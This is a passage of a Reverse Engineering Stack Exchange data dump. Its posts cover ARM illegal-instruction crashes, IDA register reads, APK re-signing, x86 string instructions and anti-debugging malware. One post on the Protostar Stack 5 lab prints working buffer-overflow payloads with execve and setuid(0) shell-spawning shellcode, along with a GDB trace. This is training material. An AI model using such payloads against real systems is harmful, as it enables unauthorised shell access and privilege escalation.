 b.n 0x20c216c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Forcing thumb mode prior to execution, the program exits immediately with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[!] Cannot disassemble from $PC&#xA;[!] Cannot access memory at address 0x6ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Starting the executable up, breaking and switching modes exits with an Illegal instruction error.&lt;/p&gt;&#xA;" OwnerUserId="24741" LastEditorUserId="24741" LastEditDate="2018-06-19T15:18:56.517" LastActivityDate="2020-02-28T07:51:58.503" Title="Why is this ARM binary throwing an 'Illegal instruction' error and quitting?" Tags="|arm|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18557" PostTypeId="2" ParentId="18551" CreationDate="2018-06-19T06:05:28.783" Score="2" Body="&lt;p&gt;One of available options is to simply run &lt;code&gt;Dword(cpu.esi+0x1c)&lt;/code&gt; or &lt;code&gt;Dword(cpu.esi+0x18)&lt;/code&gt; correspondingly in idapython console.&lt;/p&gt;&#xA;&lt;p&gt;latest API is: &lt;a href=&quot;https://hex-rays.com/products/ida/support/idapython_docs/ida_bytes.html#ida_bytes.get_dword&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_bytes.get_dword&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12457" LastEditorUserId="27999" LastEditDate="2024-02-06T08:22:01.513" LastActivityDate="2024-02-06T08:22:01.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18558" PostTypeId="1" AcceptedAnswerId="18559" CreationDate="2018-06-19T10:36:12.650" Score="2" ViewCount="751" Body="&lt;p&gt;I'm playing with Basic Buffer Overflow Protostar - Stack 5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;//gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g bof2.c -o bof2&#xA;//sudo bash -c 'echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space'&#xA;&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;  char buffer[64];&#xA;&#xA;  gets(buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I try simple shellcode &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-811.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-811.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So final payload looks like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(python -c &quot;print 'A'*72+'\xf4\xd1\xff\xff'+'\x90'*200+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'&quot;; tee) | ./protostar-stack5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works like expected, so when I type &lt;code&gt;id&lt;/code&gt; in STDIN then STDOUT will be my current &lt;code&gt;id&lt;/code&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to try shellcode with &lt;code&gt;SETUID(0)&lt;/code&gt; here is the link &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-598.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-598.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my final payload will be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(python -c &quot;print 'A'*72+'\xf4\xd1\xff\xff'+'\x90'*200+'\x31\xdb\x8d\x43\x17\xcd\x80\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'&quot;; tee) | ./protostar-stack5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I type &lt;code&gt;id&lt;/code&gt; in STDIN I got &lt;code&gt;Segmentation Fault&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I decide to check by step into from NOP to Shellcode inside GDB&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0xffffd235:  nop&#xA;   0xffffd236:  nop&#xA;   0xffffd237:  nop&#xA;=&amp;gt; 0xffffd238:  xor    ebx,ebx ; Start of Shellcode&#xA;   0xffffd23a:  lea    eax,[ebx+0x17]&#xA;   0xffffd23d:  int    0x80&#xA;   0xffffd23f:  push   ebx&#xA;   0xffffd240:  push   0x68732f6e&#xA;   0xffffd245:  push   0x69622f2f&#xA;   0xffffd24a:  mov    ebx,esp&#xA;   0xffffd24c:  push   eax&#xA;   0xffffd24d:  push   ebx&#xA;   0xffffd24e:  mov    ecx,esp&#xA;   0xffffd250:  cdq    &#xA;   0xffffd251:  mov    al,0xb&#xA;=&amp;gt; 0xffffd253:  int    0x80  ; End Of Shellcode&#xA;   0xffffd255:  add    bh,bh ; Still executed&#xA;   0xffffd257:  dec    DWORD PTR [ebx-0x25] ; Still executed&#xA;   0xffffd25a:  (bad)  ; Still executed, this cause Segmentation fault&#xA;   0xffffd25b:  jmp    DWORD PTR [edx-0x25]&#xA;   0xffffd25e:  (bad)  &#xA;   0xffffd25f:  push   DWORD PTR [ebx+ebx*8-0x1]&#xA;&#xA;Legend: code, data, rodata, value&#xA;Stopped reason: SIGILL&#xA;0xffffd25a in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I step into from start of shellcode till the end of shellcode, I got no error but shell doesn't appear and it still execute instruction after the end of shellcode then it will be &lt;code&gt;Segmentation Fault&lt;/code&gt; in the end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already set SUID Bit in compiled program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Why I got &lt;code&gt;Segmentation Fault&lt;/code&gt; instead of executing shell?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why instruction after &lt;code&gt;INT 80&lt;/code&gt; still executed, it's different with basic shellcode which give me shell after &lt;code&gt;INT 80&lt;/code&gt; executed?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to make my payload which containt &lt;code&gt;SETUID(0)&lt;/code&gt; work like expected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : I Want to ask it, fortunately it work by the end of writing question. Any other answer is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="24655" LastActivityDate="2018-06-19T10:36:12.650" Title="Why SUID Shellcode not working but Basic Shellcode working?" Tags="|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18559" PostTypeId="2" ParentId="18558" CreationDate="2018-06-19T10:36:12.650" Score="1" Body="&lt;p&gt;Don't forget to set compiled program owner as root &lt;code&gt;sudo chown root ./filename&lt;/code&gt; and don't forget to set SUID bit &lt;code&gt;chmod u+s ./filename&lt;/code&gt;, because your payload contain &lt;code&gt;SETUID(0)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="24655" LastActivityDate="2018-06-19T10:36:12.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18560" PostTypeId="2" ParentId="18551" CreationDate="2018-06-19T12:43:51.930" Score="1" Body="&lt;p&gt;&lt;em&gt;Seeing that OP is new to RE.SE and by the looks of the question itself I'll assume OP is relatively new to reverse engineering. Apologies if that isn't the case.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Values shown as &lt;code&gt;[esi+1Ch]&lt;/code&gt; or &lt;code&gt;[esi+18h]&lt;/code&gt; are referencing values &lt;em&gt;currently&lt;/em&gt; stored in the listed registers at the time the instruction is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without letting the executable run and debugging it's execution, stopping at the instructions you're interested investigating it could be extremely difficult to calculate what value will be there. Obviously, previous instructions relating to said registers can make it easier or harder. For example, a specific immidiate value can be assigned to the register just before, making tracing the value back awfully easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that isn't the case, often time placing a breakpoint at that instruction and reading the values in the debugger will be the easy path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although IDA's debugger is probably not the best one around, you can definitely get it to breakpoint and read the values. Doing that using IDAPython could be, as another answer notes, by accessing the &lt;code&gt;cpu&lt;/code&gt; object for the register value itself and adding the offset. Then, if the resulting address is actually derefereced, calling &lt;code&gt;Dword&lt;/code&gt; will let you read the value &lt;em&gt;currently in memory&lt;/em&gt;. This is the case in the first (but &lt;strong&gt;not&lt;/strong&gt; the second) dereference shown in the two lines of assembly OP asks about (this is because of how the &lt;code&gt;lea&lt;/code&gt; instruction is).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-19T12:43:51.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18561" PostTypeId="1" AcceptedAnswerId="18689" CreationDate="2018-06-19T13:09:25.303" Score="-1" ViewCount="77" Body="&lt;p&gt;I am performing reverse engineering on android apk using apktool.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any way I can view the code in SDK/NDK files ?&lt;/li&gt;&#xA;&lt;li&gt;if i make any change in the .smali files is it necessary to run the modified apk on rooted device and what will happen if i run the modified apk on non-rooted device ? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24743" LastEditorUserId="24743" LastEditDate="2018-07-05T06:19:34.713" LastActivityDate="2018-07-05T06:19:34.713" Title="How to view SDK files and is it mandatory to run modified apk on rooted device" Tags="|android|java|apk|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18562" PostTypeId="2" ParentId="18561" CreationDate="2018-06-19T13:36:18.803" Score="2" Body="&lt;p&gt;You can view the SDK by downloading it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the dex file (which smali assembles to), or any other contents of an apk will invalidate the signature of the app, which will cause it to fail to install/update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can always just resign the app yourself and it will run fine, assuming the app itself isn't doing any integrity checks, or is using any signature based custom permissions, etc. Note that if you already have the app installed, you will need to uninstall it, because otherwise the signatures won't match and the app will fail to update.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-06-19T13:36:18.803" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18564" PostTypeId="2" ParentId="18556" CreationDate="2018-06-19T18:55:01.187" Score="5" Body="&lt;p&gt;From a preliminary analysis the binary looks to be of atleast ARMv7. It runs under qemu-user without problems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ qemu-arm --version&#xA;qemu-arm version 2.11.0&#xA;Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers&#xA;&#xA;$ qemu-arm ./my_arm_bin &#xA;+++++++++++++++++++++++++++++++++&#xA;Name:storage&#xA;Version:1.05.3&#xA;Build date:Apr 24 2018 13:16:31&#xA;Desc:DriverManager release&#xA;+++++++++++++++++++++++++++++++++&#xA;+++++++++++++++++++++++++++++++++&#xA;Name:manager&#xA;Version:1.03.1&#xA;Build date:Apr 24 2018 13:16:31&#xA;Desc:&#xA;+++++++++++++++++++++++++++++++++&#xA;+++++++++++++++++++++++++++++++++&#xA;Name:manager&#xA;Version:1.03.1&#xA;Build date:Apr 24 2018 13:16:31&#xA;Desc:&#xA;+++++++++++++++++++++++++++++++++&#xA;+++++++++++++++++++++++++++++++++&#xA;Name:guictrls&#xA;Version:1.05.5&#xA;Build date:Apr 24 2018 13:16:31&#xA;Desc:GUI ctrls Relese&#xA;+++++++++++++++++++++++++++++++++&#xA;+++++++++++++++++++++++++++++++++&#xA;Name:OS&#xA;Version:1.00.1&#xA;Build date:Apr 24 2018 13:16:31&#xA;Desc:OS Relese&#xA;------snip-------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, running under a ARMv6 QEMU VM it crashes with an Illegal instruction, similar to yours. Digging deep there're indeed some instructions which are invalid under ARMv5.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:arm ]────&#xA;    0x20c1b2c                  bl     0x20d434c&#xA;    0x20c1b30                  push   {r4,  r5,  r6,  r7,  lr}&#xA;    0x20c1b34                  sub    sp,  sp,  #300    ; 0x12c&#xA; →  0x20c1b38                  movw   r12,  #0&#xA;    0x20c1b3c                  mov    r5,  r3&#xA;    0x20c1b40                  movt   r12,  #0&#xA;    0x20c1b44                  str    r1,  [sp,  #4]&#xA;    0x20c1b48                  movw   r1,  #65336   ; 0xff38&#xA;    0x20c1b4c                  cmp    r12,  #0&#xA;──────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────&#xA;[#0] Id 1, Name: &quot;my_arm.bin&quot;, stopped, reason: SIGILL&#xA;────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────&#xA;[#0] 0x20c1b38 → movw r12,  #0&#xA;[#1] 0x796cc → bl 0x401fa0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above it crashed on the &lt;code&gt;movw   r12,  #0&lt;/code&gt; at &lt;code&gt;0x20c1b38&lt;/code&gt;. Now the &lt;code&gt;movw&lt;/code&gt; was introduced in ARMv7 and unavailable in ARMv5. Similarly the &lt;code&gt;movt&lt;/code&gt; instruction is also invalid under v5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cn6By.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cn6By.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0425/BABHFAFI.html&quot; rel=&quot;noreferrer&quot;&gt;Image Source&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This explains why ARM v5/v6 qemu is crashing. So to run the binary you would atleast need an ARMv7 QEMU vm or the Raspberry Pi 2 which sports an ARMv7 processor.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-06-19T18:55:01.187" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18565" PostTypeId="1" CreationDate="2018-06-20T00:04:29.880" Score="1" ViewCount="590" Body="&lt;p&gt;I have installed Anaconda on Windows to replace standalone Python installation that was used by the IDA Pro. I have confirmed that all relevant environment variables and register keys were set to point to the Anaconda instead of c:\python27-x64. However after that IDA Pro failed to load my plugins (complaining that it can't find certain libraries). What helped to resolved this problem was deleting python27.dll from c:\Windows\System32. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After deleting python27.dll, IDA Pro was able to load IDAPython plugins, they in turn were able to find libraries located in Anaconda directory and everything seemed to be working fine with the built-in Python console. However it started to give me R6034 error message each time I am launching IDA Pro, saying &quot;An application has made an attempt to load the C runtime library incorrectly&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I don't see any side effects of getting this error message except that I was unable to install QT console (&lt;a href=&quot;https://github.com/james91b/ida_ipython&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/james91b/ida_ipython&lt;/a&gt;) following the procedure outlined there, which makes me think that the error message may be somehow preventing me from installing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying python27.dll from Anaconda folder into c:\Windows\System32 doesn't help to remove the error message. What can be done to resolve it?&lt;/p&gt;&#xA;" OwnerUserId="24749" LastEditorUserId="24749" LastEditDate="2018-06-20T00:12:37.447" LastActivityDate="2018-06-20T00:12:37.447" Title="Getting R6034 error message when starting IDA Pro" Tags="|ida|idapython|ida-plugin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18567" PostTypeId="2" ParentId="18228" CreationDate="2018-06-20T14:40:49.027" Score="3" Body="&lt;p&gt;Try examining &lt;code&gt;rsp&lt;/code&gt; instead of &lt;code&gt;esp&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ax-&amp;gt;16-bit&#xA;eax-&amp;gt;32-bit&#xA;rax-&amp;gt;64-bit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is similar for stack pointer too. &lt;code&gt;sp&lt;/code&gt;-&gt;16-bit, &lt;code&gt;esp&lt;/code&gt;-&gt;32-bits and &lt;code&gt;rsp&lt;/code&gt;-&gt;64-bit. When you are examining the esp, the address is actually 64 bits but you are trying examine and forcing it to split to 32 bits addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rC8pb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rC8pb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24755" LastEditorUserId="53" LastEditDate="2018-06-20T16:49:01.863" LastActivityDate="2018-06-20T16:49:01.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18570" PostTypeId="1" AcceptedAnswerId="18813" CreationDate="2018-06-21T09:27:06.630" Score="1" ViewCount="4397" Body="&lt;p&gt;I've a binary opened in IDA. It uses a function pointer from a COM vtable. I found that the COM method has 13 parameters (including &lt;code&gt;this&lt;/code&gt;). But IDA shows only 4 parameters as shown in this pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v93 = 0i64;&#xA;v79 = &amp;amp;hObject;&#xA;v78 = &amp;amp;v93;&#xA;v77 = 0xFFFFFFFF;&#xA;v76 = (signed int)NtCurrentPeb()-&amp;gt;ProcessParameters-&amp;gt;Reserved2[0];&#xA;v75 = a6;&#xA;LODWORD(v74) = v130;&#xA;v73 = v129;&#xA;HIDWORD(v72) = HIDWORD(v118);&#xA;v71 = Dst;&#xA;v14 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD, __int64))(*(_QWORD *)v10 + 48i64))(v10, v117, v91, v116);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The corresponding disassembly looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_1400055B6:&#xA;mov     [rsp+2A8h+var_1E0], rsi&#xA;mov     rax, gs:60h&#xA;mov     rcx, [rax+20h]&#xA;mov     rdx, [rcx+10h]&#xA;mov     rax, [r12]&#xA;mov     r10, [rax+30h]&#xA;lea     rax, [rsp+2A8h+hObject]&#xA;mov     [rsp+2A8h+var_248], rax&#xA;lea     rax, [rsp+2A8h+var_1E0]&#xA;mov     [rsp+2A8h+var_250], rax&#xA;or      [rsp+2A8h+var_258], 0FFFFFFFFh&#xA;mov     [rsp+2A8h+var_260], edx&#xA;mov     [rsp+2A8h+var_268], r15&#xA;mov     eax, dword ptr [rsp+2A8h+var_90]&#xA;mov     dword ptr [rsp+2A8h+var_270], eax&#xA;mov     rax, [rsp+2A8h+var_98]&#xA;mov     [rsp+2A8h+var_278], rax&#xA;mov     rax, [rsp+2A8h+var_110]&#xA;mov     [rsp+2A8h+var_280], rax&#xA;mov     rax, [rsp+2A8h+Dst]&#xA;mov     [rsp+2A8h+var_288], rax&#xA;mov     r9, [rsp+2A8h+var_120]&#xA;mov     r8d, [rsp+2A8h+var_1EC]&#xA;mov     rdx, [rsp+2A8h+var_118]&#xA;mov     rcx, r12&#xA;mov     rax, r10&#xA;call    cs:__guard_dispatch_icall_fptr&#xA;mov     rcx, [rsp+2A8h]&#xA;test    eax, eax&#xA;js      loc_140005FF4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: The function pointer i.e. &lt;code&gt;v10 + 48i64&lt;/code&gt; shows only four parameter. How can I add or find the remaining parameters?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I add a header file mentioning the total 13 probable parameters in that method. Though IDA changes the data type of four parameters (v10, v117, v91, v116) it doesn't add remaining ones. I thought that if v71 to v79 are the other parameter of that COM method. That'll make all 13 parameters. And the execution starts with v79. May be like &lt;code&gt;__stdcall&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="245" LastEditDate="2018-07-10T08:26:13.057" LastActivityDate="2020-06-16T15:13:49.047" Title="How to add/find parameters to a function declaration in IDA/HexRays?" Tags="|ida|disassembly|hexrays|com|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18571" PostTypeId="1" CreationDate="2018-06-21T12:57:05.220" Score="-2" ViewCount="487" Body="&lt;p&gt;For the code below can anyone help with these questions? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;mov ecx, 5&#xA;lea edi, [edx]&#xA;rep stosd&#xA;mov al, 0xFF&#xA;stosw&#xA;stosb&#xA;stosb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How many times does the '&lt;code&gt;stosd&lt;/code&gt;' operation run? Why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If &lt;code&gt;edx&lt;/code&gt; was storing address &lt;code&gt;0x4b0000&lt;/code&gt; on the heap, what would &lt;code&gt;edi&lt;/code&gt; be after the sequence is complete? Why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How many bytes on the heap are modified by the code above? Why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Describe as completely as possible what the code above is doing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Illustrate precisely how the modified heap space should look given the sequence above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24766" LastEditorUserId="53" LastEditDate="2018-06-21T17:00:22.817" LastActivityDate="2018-06-21T17:00:22.817" Title="x86 Assembly Data Types" Tags="|assembly|x86|" AnswerCount="1" CommentCount="5" ClosedDate="2018-06-27T14:08:23.347" ContentLicense="CC BY-SA 4.0" />
  <row Id="18572" PostTypeId="2" ParentId="18571" CreationDate="2018-06-21T16:10:57.900" Score="1" Body="&lt;p&gt;You can do this yourself! Instead of explaining it all, I'm going to give you some resources to read through.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Read all about &lt;a href=&quot;http://faydoc.tripod.com/cpu/stos.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;STOS*&lt;/a&gt; and &lt;a href=&quot;http://faydoc.tripod.com/cpu/rep.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;REP&lt;/a&gt;. Read them carefully and process what you're reading! Those two resources explain everything to you insofar as how those instructions work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read about the &lt;a href=&quot;http://faydoc.tripod.com/cpu/lea.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;LEA instruction&lt;/a&gt;. Since there are no offsets being referenced with edx, the way that instruction is written is effectively the same as &lt;code&gt;mov edi,edx&lt;/code&gt;. Knowing that, now what do you think is in edi?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take some time to really wrap your head around the difference between stack and heap. You may have to read/watch content from multiple sources, but &lt;a href=&quot;https://www.gribblelab.org/CBootCamp/7_Memory_Stack_vs_Heap.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is a great place to start&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(and 5): Use what you learn from the aforementioned points to address your questions about heap/stack. I HIGHLY recommending using something like &lt;a href=&quot;https://github.com/zerosum0x0/WinREPL&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinREPL&lt;/a&gt; and/or an &lt;a href=&quot;http://carlosrafaelgn.com.br/asm86/&quot; rel=&quot;nofollow noreferrer&quot;&gt;assembly emulator&lt;/a&gt; to view register states and step through cycles as instructions run. If you want to do this with your code, consider running &lt;code&gt;mov edx,0x4b0000&lt;/code&gt; first so the lea instruction will properly operate with an address that's observable for a command like &lt;code&gt;.read addr size&lt;/code&gt; in WinREPL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-06-21T16:10:57.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18575" PostTypeId="1" AcceptedAnswerId="18649" CreationDate="2018-06-22T02:30:06.153" Score="3" ViewCount="474" Body="&lt;p&gt;I'm trying to get a debugger attached to a malware, but it seems to pick up whenever a new remote thread is created (which makes it so I can't use Scyllahide).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I suspend all threads, it does the following:&#xA;When a new remote thread is created(&lt;code&gt;CreateRemoteThread&lt;/code&gt; / &lt;code&gt;ZwCreateThread&lt;/code&gt;) (internally calling &lt;code&gt;CreateThread&lt;/code&gt; is ok) it patches a &lt;code&gt;0xC3(ret)&lt;/code&gt; to the entry point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried suspending it on creation then resuming it later but as soon as it is resumed the entry point gets patched before it can execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at hooks in PCHunter, there is no hooks in unnamed functions or thread related functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro isn't helping much, the process is obfuscated a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what should be the next step at this point, so I'm hoping someone can help me figure this out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like a hook or a callback is set somewhere but I don't know of any callback that gets executed on thread creation(at least in usermode) and I can't seem to find any hook related to threads in windows dll's. &lt;/p&gt;&#xA;" OwnerUserId="24773" LastActivityDate="2018-06-30T22:37:01.393" Title="Unable to use CreateRemoteThread in target process" Tags="|windows|x86-64|x64dbg|thread|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18576" PostTypeId="1" CreationDate="2018-06-22T02:48:04.140" Score="1" ViewCount="87" Body="&lt;p&gt;I'm looking to automate requesting movies from different retailers on Movies Anywhere. The URL for the request is: &lt;code&gt;https://retailer.moviesanywhere.com/api/purchase/initiate?retailer={retailer}&amp;amp;id={id}&amp;amp;redirectURI=https%3A%2F%2Fmoviesanywhere.com%2Fmovie%2F{slug}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you replace &lt;code&gt;{retailer}&lt;/code&gt; with &lt;code&gt;VUD&lt;/code&gt;, &lt;code&gt;{id}&lt;/code&gt; with &lt;code&gt;10.5240/870D-6EC1-415D-4FDC-B5DC-T&lt;/code&gt;, and &lt;code&gt;{slug}&lt;/code&gt; with &lt;code&gt;the-incredibles&lt;/code&gt; you'll be be redirected to The Incredibles on Vudu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of all retailers and their ids for The Incredibles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;VUD = 10.5240/870D-6EC1-415D-4FDC-B5DC-T&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;GOO = 105240870D6EC1415D4FDCB5DCT&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;APL = 88702939&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AMZ = 10.5240/870D-6EC1-415D-4FDC-B5DC-T&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;FAN = 10.5240/870D-6EC1-415D-4FDC-B5DC-T&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is, I can't figure out how to find when these are gotten by Movies Anywhere. I tried setting a breakpoint on the click event and stepping through the JavaScript but I'm not getting anywhere. Does anyone know how to get this ID when clicking the Buy button for each retailer?&lt;/p&gt;&#xA;" OwnerUserId="24774" LastActivityDate="2018-06-22T02:48:04.140" Title="Movies Anywhere ID?" Tags="|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
